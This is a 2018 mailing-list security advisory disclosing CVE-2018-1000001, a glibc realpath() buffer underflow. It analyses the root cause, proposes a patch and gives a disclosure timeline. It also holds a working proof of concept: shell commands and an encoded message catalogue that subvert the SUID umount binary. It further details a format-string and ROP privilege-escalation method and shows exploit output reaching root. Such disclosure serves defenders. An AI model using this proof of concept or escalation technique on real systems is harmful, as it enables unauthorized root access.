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Message-ID: <1087-1515706484.393621@m4-w.D8Te.szjC>
Date: Thu, 11 Jan 2018 21:34:44 +0000
From: halfdog <me@...fdog.net>
To: oss-security@...ts.openwall.com
Subject: Libc Realpath Buffer Underflow CVE-2018-1000001
Hello list,
This issue is already overdue. Here is a copy of [0] for the archives.
hd
[0] https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
<-- Created by SecurityReportToText.xsl V20171225 -->
Libc Realpath Buffer Underflow
==============================
=== Introduction ===
The vulnerability described here is caused by Linux kernel
behaviour change in the syscall API (returning relative pathnames
in getcwd()) and non-defensive function implementation in libc
(failing to process that pathname correctly). Other libraries
are very likely to be affected as well. On affected systems this
vulnerability can be used to gain root privileges via SUID binaries.
The return value specification change in getcwd() was introduced
in Linux kernel Linux 2.6.36. It has already caused troubles,
even in realpath(), but at different location (see "bug report" [idm22])
and was not identified as security issue.
= Linux kernel side: =: One of the weaknesses of Linux kernel is,
that it is not fully POSIX compliant (see "Wikipedia POSIX" [idm25]). To
allow programmers to produce clean and secure code, meticulous
documentation would be needed, especially to write cross-platform
software. Changes in specification and documentation after software
was already written always pose an extra risk. This is also true
for commit "vfs: show unreachable paths in getcwd and proc" [idm26]
changing the behaviour of getcwd(). The new specification made
it finally to the manpages (see "getcwd(2)" [idm27]), but at that
time glibc was already written. From the somehow contradictory man page:
/These functions return a null-terminated string containing
an _absolute_ pathname that is the current working directory of
the calling process. The pathname is returned as the function
result and via the argument buf, if present./
/If the current directory is not below the root directory of
the current process (e.g., because the process set a new filesystem
root using chroot(2) without changing its current directory into
the new root), then, since Linux 2.6.36, the returned path will
be prefixed with the string "(unreachable)". Such behavior can
also be caused by an unprivileged user by changing the current
directory into another mount namespace. When dealing with paths
from untrusted sources, callers of these functions should consider
checking whether the returned path starts with '/' or '(' to avoid
misinterpreting an unreachable path as a relative path..../
/...getcwd() conforms to POSIX.1-2001. Note however that
POSIX.1-2001 leaves the behavior of getcwd() unspecified if buf
is NULL./
The documentation is accurate regarding use of /(unreachable)/
but most likely not according POSIX compliance. At least POSIX 2004
and 2008 are violated, 2001 version of standard seems not available
for free. According to "IEEE Std 1003.1-2008" [idm36] specification of
getcwd():
/The getcwd() function shall place an absolute pathname of the
current working directory in the array pointed to by buf, and
return buf. The pathname shall contain no components that are
dot or dot-dot, or are symbolic links./
As it seems, that consequences from the change of interface
specification on Linux kernel side only were not recognized
by all affected parties. The realpath() function, which relies
on using getcwd() to resolve relative path names still required
the old behaviour. Also the manpage does not reflect the changes
in underlying getcwd() call, see "realpath(3)" [idm40].
= Libc side: =: glibc still assumes that kernel getcwd()
would return absolute pathnames and relies on that behaviour when
realpath() attempts to create a canonicalized absolute pathname:
/realpath() expands all symbolic links and resolves references
to /./, /../ and extra '/' characters in the null-terminated string
named by path to produce a canonicalized absolute pathname.../
When resolving a relative symbolic link, e.g. /../../x/,
realpath() will use the current working directory, assuming it
will start with a /. The function starts at the end of the getcwd
pathname to jump forward from slash to slash for each /..//
found in the symbolic link to resolve. It does not check the boundaries
of the buffer, thus may end up at a slash before the string buffer
used to create the canonicalized absolute pathname. So resolving
the link named above with getcwd() returning /(unreachable)//,
the second /..// will have moved the pointer before the buffer,
the next part /x/ is then copied to this memory location.
As realpath usually operates on heap buffers.
=== Methods ===
This section describes how to improve a simple demonstrator
to a complex, ASLR-aware high-reliable exploit. The steps used
might not be the most elegant way to do so. Any hints for improvement
are appreciated.
To exploit the underflow for privilege escalation, the /mount,
unmount/ SUID binaries are most suitable targets: they process
pathes using realpath(), do not drop privileges and can be invoked
by any user. /umount/ was selected as candidate as it allows
to process more than one mountpoint per run, thus traversing the
problematic code more than once. This seemed to be the best way
to allow user controlled gradual memory editing, defeat of ASLR
measures and finally quite reliable code execution.
As /umount/ realpath() operates on heap, the first step
was to create a reproducible heap layout. This was done be removing
all interfering environment variables and just working with those
related to locale support. As locales are initialized before umount
option parsing, this editing affectes the heap structure and content
lower addresses than the buffer used in the fatal realpath() call.
Therefore the current exploit relies on the availability of a
single locale, but /libc-bin/ on standard systems provides
one: //usr/lib/locale/C.UTF-8/. It is loaded by using the
environment variable /LC_ALL=C.UTF-8/.
After locale setup, the realpath buffer underflow will overwrite
a slash in a locale string, used for loading of national language
support (NLS) files, thus changing it to a relative pathname.
Thus user controlled translations of umount error messages are
loaded, giving write access to some memory adresses using the
%n format feature of /fprintf/ to modify memory. As the stack
layout used by fprintf is fixed, any address references will work
without considering ASLR. Luckily, one of those references points
to the /struct libmnt_context/ defined in /libmount/src/mountP.h/
from util-linux:
************************************************************
struct libmnt_context
{
int action; /* MNT_ACT_{MOUNT,UMOUNT} */
int restricted; /* root or not? */
char *fstype_pattern; /* for mnt_match_fstype() */
char *optstr_pattern; /* for mnt_match_options() */
...
************************************************************
As the /restricted/ field is within reach, overwriting
it will make umount believe, that it was started by root, even
when it was not. This can be used for a quite simple DoS by unmounting
the root filesystem, which will cause very funny side effects
on running programs, e.g. aborts, SEGV, .... Follwing commands
demonstrate the behaviour on fully patched Debian Stretch amd64
with libc6 2.24-11+deb9u1 and umount from package mount 2.29.2-1.
Keep in mind, that this simplified POC operates on the umount
process memory, thus will need adoption to other software versions:
************************************************************
# Enable USERNS clone as root for demonstration:
root$ echo 1 > /proc/sys/kernel/unprivileged_userns_clone
# As normal user create a new namespace:
test$ /usr/bin/unshare -m -U --map-root-user /bin/sh
# Caveat: following steps are performed as USERNS-root, not real
# root user.
root$ mount -t tmpfs tmpfs /tmp
root$ cd /tmp
root$ chmod 00755 .
root$ mkdir -p -- "(unreachable)/tmp" "(unreachable)/tmp/from_archive/C/LC_MESSAGES" "(unreachable)/x"
root$ ln -s ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A "(unreachable)/tmp/down"
# Make mount unrestricted by overwriting struct libmnt_context, thus
# affecting mnt_context_is_restricted in "libmount/src/context.c".
root$ base64 -d <<B64-EOF | bzip2 -cd > "(unreachable)/tmp/from_archive/C/LC_MESSAGES/util-linux.mo"
QlpoOTFBWSZTWTOfm9IAAGX/pn6UlARGB+FeKyZnAD/n3mACAAAgAAEgAJSIqfkpspk0eUGJ6gAG
mQeoaD1PJAamlPJGCNMTIaNGmnqMQ0AAzSwpEWpQICVUw+490ohZBgZ+s4EBAZCn/TavSQshtCiv
iG6HOehyAp4FPt3zkpdTxNchTYITLBkXUjsgpN2QDBNX8qmbpkVgfLXKcQc1ZhVF0FxUQOtnbGlL
5NhRmORwmQF1Dw3Yu1mds6tGAmnLwWwc2KRKGl5hcLuSKcKEgZz83pA=
B64-EOF
root$ echo "$$"
2299
# Now continue in another shell using the USERNS pid from before:
test$ /proc/2299/cwd
test$ LC_ALL=C.UTF-8 /bin/umount --lazy down /
umount: AAlnAAAAAAAAAAA
************************************************************
The simplified single-stage POC from above has multiple drawbacks:
it can only reliable toggle the permissions bit, thus allowing
unmounting / causing DoS, but not arbitrary code execution. For
that, ASLR has to be defeated first. This can be done by following
sequence of events:
* Start umount with large number of environment variables that
containing "AANGUAGE=X.X", that are just one letter off from correct
language settings. The large number of environment variables "sprays"
the upper stack area with a long list of valid pointers.
* Let umount call realpath() and underflow. When the error message
is printed, a first-stage message catalogue file is loaded and
the format string dumps the whole stack to stderr, remove the
"restricted" bit similar to simplified POC and write a 'L' to
the sprayed stack, modifying one entry to "LANGUAGE=X.X".
* Due to change of language, umount will attemt to load another
language catalogue. As the exploit prepared a pipe with that name,
umount will block here giving the exploit the chance to synchronize,
create an updated message catalogue and let umount continue.
* The updated format strings now contain all offsets for the
currently running binary. But the stack does not contain suitable
pointers for writing and fprintf ignores changes of argument pointers
while running because secure printf copies the values down the
stack, where we cannot use them directly. Hence fprintf must be
invoked more than once with the same (unmodified) format string,
but still has to behave different on each invocation to overwrite
different memory locations. This is done using the format string
itself for arithmetics, each fprintf invocation as clock and the
length of path-name input as instruction pointer, thus creating
a simplified virtual machine.
* The repeated format string processing changes the return pointer
from main function to two other functions: getdate() and execl().
Those functions were choosen for ROP because a single call to
system() would not work on Ubuntu. This is due to /bin/sh having
a patch missing in Debian, that will reset the effective UID when
not matching the the current UID. But as exec calls require a
more complex stack/register configuration, let getdate() do the
work for us. For escalation using umount, calling execve in the
end should work also on SELinux/AppArmor hardened systems. Umount
needs to call file system helpers during normal operation also.
On other systems, execl() could be replaced by dlopen(), to inject
code into running process.
* The invoked program file contains a shebang to make the operating
system invoke the exploit program as interpreter. The exploit
then changes his own file ownership and mode to become a root
SUID binary and terminates. Starting the shell here immediately
would be possible, but the mount process has a strange set of
environment variables, which is not so convenient for further
shell use. Apart from that, by terminating the caller can detect
successful escalation, perform all cleanup.
* When the initial caller of mount notices the mode change of
the file, it performs the cleanup and invokes the SUID binary
to use its secondary function - a SUID shell, thus completing
the escalation.
All those steps are currently implemented in "RationalLove.c" [idm81]
apart for the code to create the namespace. Therefore the pid
of a suitable namespace process has to be hardcoded before compiling.
Here is the output of exploit invocation:
************************************************************
test@...t$ ./RationalLove
./RationalLove: setting up environment ...
./RationalLove: using umount at "/bin/umount".
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7fffb6505d18 pointing to target address 0x7fffb6505de8 with value 0x7fffb650723f, libc offset is 0x7fffb6505d08
Changing return address from 0x7f9617db62b1 to 0x7f9617e41c30, 0x7f9617e4e900
Using escalation string %67$hn%71$hn%1$6116.6116s%65$hn%69$hn%1$1100.1100s%64$hn%1$25446.25446s%66$hn%70$hn%1$26986.26986s%68$hn%1$5888.5888s%1$23798.23798s%1$s%1$s%63$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%37$hn-%35$lx-%37$lx-%62$lx-%63$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
root@...t# id
uid=0(root) gid=0(root) groups=0(root),100(users)
************************************************************
ASLR could also be circumvented using a but in mount environment
variable handling, see "util-linux mount/unmount ASLR bypass
via environment variable" [idm84].
=== Results, Discussion ===
As for example, misbehaviour can be triggered when performing
a /getcwd/ call in a directory not visible in the current
mount namespace of the process. See "mount_namespaces man page" [idm89]
for more information. Therefore a process has to reach such a
directory within another namespace. There should be various ways
to do that, e.g. using the /proc/ filesystem to enter the
working directory of another process (method used in exploit),
by passing file descriptors via /SCM_RIGHTS/ between cooperating
processes in different namespaces. Therefore this vulnerability
shows again the importance of system hardening by disabling USERNS
when not needed.
On a system with unprivileged USERNS enabled, an attacker can
create all required namespaces. On other systems, it might be
possible to use namespaces created by other processes using the
/proc/ access approach. These can be discovered using
/readlink /proc/*/ns/mnt | sort -u/. While /systemd-udevd/
just uses a namespace in a way required for exploitation, the
//proc/[pid]/cwd/ link cannot accessed by unprivileged users.
Still /systemd-udevd/ is a good example, how hardening of
a single application by namespaces might also create additional
attack surface, not only in the application itself. Hence the
attack method described here may also be appropriate to attack
other applications using the same hardening measures, e.g. lxc
or docker.
= Affected systems: =: Platforms where _Linux kernel_ getcwd()
prepends non-path components, e.g. to indicate unreachable
pathes. Such code can be found in /fs/dcache.c/:
************************************************************
static int prepend_unreachable(char **buffer, int *buflen)
{
return prepend(buffer, buflen, "(unreachable)", 13);
}
************************************************************
Most likely this code was created in analogy to the /(deleted)/
suffix to indicate file handles to deleted files, e.g.:
************************************************************
test$ touch /tmp/x
test$ exec 3</tmp/x
test$ rm /tmp/x
test$ readlink /proc/self/fd/3
/tmp/x (deleted)
************************************************************
_Userspace:_ Currently only libc is proven to misbehave
when Linux getcwd() returns a relative path. But other libraries
or tools might also fail in unexpected ways due to that bug.
_glibc:_ Here the underflow occurs in /__realpath/ from
/stdlib/canonicalize.c/:
************************************************************
42 char *
43 __realpath (const char *name, char *resolved)
44 {
...
# When resolving a relative pathname, getcwd() is called:
86 if (name[0] != '/')
87 {
88 if (!__getcwd (rpath, path_max))
89 {
90 rpath[0] = '\0';
91 goto error;
92 }
93 dest = __rawmemchr (rpath, '\0');
94 }
95 else
...
# Loop over all name components:
101 for (start = end = name; *start; start = end)
102 {
...
# If the name component is "..", remove it. This underflows the
# buffer if rpath does not contain a starting slash.
118 else if (end - start == 2 && start[0] == '.' && start[1] == '.')
119 {
120 /* Back up to previous component, ignore if at root already. */
121 if (dest > rpath + 1)
122 while ((--dest)[-1] != '/');
123 }
124 else
# The name component is not ".", "..", so copy the name to dest.
125 {
126 size_t new_size;
127
128 if (dest[-1] != '/')
129 *dest++ = '/';
...
************************************************************
Therefore a simple patch could be "glibc-fail-on-unreachable-v1.patch" [idm114] (nearly UNTESTED,
older version "v0" [idm115]):
************************************************************
--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
@@ -91,6 +91,11 @@
goto error;
}
dest = __rawmemchr (rpath, '\0');
+/* If path is empty, kernel failed in some ugly way. Realpath
+has no error code for that, so die here. Otherwise search later
+on would cause an underrun when getcwd() returns an empty string.
+Thanks Willy Tarreau for pointing that out. */
+ assert (dest != rpath);
}
else
{
@@ -118,8 +123,17 @@
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
{
/* Back up to previous component, ignore if at root already. */
- if (dest > rpath + 1)
- while ((--dest)[-1] != '/');
+ dest--;
+ while ((dest != rpath) && (*--dest != '/'));
+ if ((dest == rpath) && (*dest != '/') {
+ /* Return EACCES to stay compliant to current documentation:
+ "Read or search permission was denied for a component of the
+ path prefix." Unreachable root directories should not be
+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
+ __set_errno (EACCES);
+ goto error;
+ }
+ dest++;
}
else
{
************************************************************
= Outlook: =: It might be worth analyzing how ftp server
implementation, webservers will react in such context. In some
cases, this may require combination with application specific
bugs or unexpected behaviour, e.g. "ApacheNoFollowSymlinkTimerace" [idm119].
=== Timeline ===
* 20171231: Reported to distros list as glibc errors should
be reported to distros first.
* 20180101: Info distros: kernel issue should be handled first.
Reported to kernel security.
* 20180102: Kernel security reply: getcwd() behaviour documented
in "getcwd() 3" man pages, not an issue. Only libraries need fixing.
* 20180107: Final high-reliability anti-ASLR exploit for Stretch/Xenial using getdate/execl
* 20180110: CVE "CVE-2018-1000001" [idm128] assigned.
* 20180111: Publication without exploit code.
=== Material, References ===
* Linux POSIX compliance: "Wikipedia" [idm134]
* POSIX IEEE Std 1003.1-2008: "getcwd" [idm136]
* Linux mount namespaces: "man page" [idm138]
* Commit effecting getcwd() in Linux kernel: "vfs: show unreachable paths in getcwd and proc" [idm140]
* realpath() with namespaces lstat issue: "18203" [idm142]
* mount/umount small anti-ASLR bug: "util-linux mount/unmount ASLR bypass via environment variable" [idm144]
* Redhat bug report: "1530306" [idm146]
* SUSE bug report: "1074293" [idm148]
>>> Last modified 20180111
Contact e-mail: me (%) halfdog.net <<<
* [idm22] https://sourceware.org/bugzilla/show_bug.cgi?id=18203
* [idm25] https://en.wikipedia.org/wiki/POSIX#Mostly_POSIX-compliant
* [idm26] https://github.com/torvalds/linux/commit/8df9d1a4142311c084ffeeacb67cd34d190eff74
* [idm27] http://man7.org/linux/man-pages/man2/getcwd.2.html
* [idm36] http://pubs.opengroup.org/onlinepubs/9699919799/functions/getcwd.html
* [idm40] http://man7.org/linux/man-pages/man3/realpath.3.html
* [idm81] https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c
* [idm84] https://www.spinics.net/lists/util-linux-ng/msg14978.html
* [idm89] http://man7.org/linux/man-pages/man7/mount_namespaces.7.html
* [idm114] https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/glibc-fail-on-unreachable-v1.patch
* [idm115] https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/glibc-fail-on-unreachable-v0.patch
* [idm119] https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/../../2011/ApacheNoFollowSymlinkTimerace/
* [idm128] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000001
* [idm134] https://en.wikipedia.org/wiki/POSIX#Mostly_POSIX-compliant
* [idm136] http://pubs.opengroup.org/onlinepubs/9699919799/functions/getcwd.html
* [idm138] http://man7.org/linux/man-pages/man7/mount_namespaces.7.html
* [idm140] https://github.com/torvalds/linux/commit/8df9d1a4142311c084ffeeacb67cd34d190eff74
* [idm142] https://sourceware.org/bugzilla/show_bug.cgi?id=18203
* [idm144] https://www.spinics.net/lists/util-linux-ng/msg14978.html
* [idm146] https://bugzilla.redhat.com/show_bug.cgi?id=1530306
* [idm148] https://bugzilla.suse.com/show_bug.cgi?id=1074293
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